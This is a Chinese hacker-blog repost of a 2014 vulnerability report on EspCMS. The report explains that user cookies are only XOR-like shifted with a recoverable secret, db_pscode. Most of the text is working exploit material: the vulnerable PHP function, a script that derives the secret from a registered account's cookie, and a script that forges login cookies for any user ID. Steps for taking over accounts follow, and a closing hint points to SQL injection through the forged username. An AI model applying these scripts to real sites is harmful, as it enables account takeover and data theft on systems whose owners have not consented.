记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

EspCMS最新版可伪造任意帐户登陆(简单利用代码)

2014-06-11 23:35

EspCMS中用户cookie生成算法中重要的就是db_pscode

貌似前面有大牛提交过多次,厂商都只是略作修改,并没有最终搞定问题

这里来说一下,可以通过注册普通帐号,通过帐号+cookie破解得到db_pscode

首先是cookie加密算法,/public/class_function.php,144-170行

function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%', $mcrype = true) {

$result = null;

if ($operation == 'ENCODE') {

for ($i = 0; $i < strlen($string); $i++) {

$char = substr($string, $i, 1);

$keychar = substr($key, ($i % strlen($key)) - 1, 1);

$char = chr(ord($char) + ord($keychar));

$result.=$char;

}

$result = base64_encode($result);

$result = str_replace(array('+', '/', '='), array('-', '_', ''), $result);

} elseif ($operation == 'DECODE') {

$data = str_replace(array('-', '_'), array('+', '/'), $string);

$mod4 = strlen($data) % 4;

if ($mod4) {

$data .= substr('====', $mod4);

}

$string = base64_decode($data);

for ($i = 0; $i < strlen($string); $i++) {

$char = substr($string, $i, 1);

$keychar = substr($key, ($i % strlen($key)) - 1, 1);

$char = chr(ord($char) - ord($keychar));

$result.=$char;

}

}

return $result;

}



不知道分析的对不对,主要是没有采用不可逆函数,导致可以逆推得到db_pscode

我本地搭建时的db_pscode为81cc52c15f9f1df62679efdb12de1be,以此为例

首先注册帐号,获得cookie如下

QQ截图20140308142508.jpg



QQ截图20140308142526.jpg



简单写了个计算db_pscode的,写的比较菜~

<?php 

$string = "lmlilJRmY5RiZpdql2KV";

$username = "111111111111111";

$result = "";

$mod4 = strlen($string) % 4;

if ($mod4) {

$string .= substr('====', $mod4);

}

$de_string = base64_decode($string);

for($i=0;$i<strlen($username);$i++){

$char = chr(ord($de_string[$i+1]) - ord($username[$i]));

$result .= $char;

}

echo "code=".$result;

?>



通过这段代码得到db_pscode

QQ截图20140308143311.jpg



db_pscode不完整是因为我们注册的用户名长度不够,只要注册足够长的用户名,就能得到足够长的cookie,就能得到完整db_pscode

得到db_pscode以后,只要伪造两个cookie就可以了,一个是ecisp_member_username,另一个是ecisp_member_info,就可以登陆任意帐户

也简单写了下计算cookie的代码

<?php 

$string = "81cc52c15f9f1d";

//如果是计算用户名的cookie,这里直接填写用户名

//如果是计算info的cookie,这里填写格式为 2||0|1|||| ,第一个数字即为uid

$username = "2||0|1||||";

$result = "";

for($i=0;$i<strlen($username);$i++){

$keychar = substr($string, ($i % strlen($string)) - 1, 1);

$char = chr(ord($keychar) + ord($username[$i]));

$result .= $char;

}

$result = base64_encode($result);

$result = str_replace(array('+', '/', '='), array('-', '_', ''), $result);

echo $result;

?>



注意:这里构造的username,与uid不需要匹配,因为程序读取cookie的时候只查询是否有这个uid存在,所以username可以随意构造,只有uid存在就ok

漏洞证明:

比如我要登陆userid=1的帐户,通过计算得到cookie中ecisp_member_info为lrStk99mrt-tsQ

另外一个值随便取值计算,不能不存在就ok

修改cookie

QQ截图20140308144455.jpg



直接访问/index.php?ac=membermain&at=center,就登陆成功

QQ截图20140308144627.jpg



另外说一下,因为可以随意构造username,这样的话在username处构造注入的话。。。

发现有多个地方可以通过这个方式注入,绝对无视gpc,无视全局过滤

修复方案:

算法问题是一个根本问题。


知识来源: www.wooyun.org/bugs/wooyun-2014-053577

阅读:180472 | 评论:0 | 标签:cms

想收藏或者和大家分享这篇好文章→复制链接地址

“EspCMS最新版可伪造任意帐户登陆(简单利用代码)”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

ADS

标签云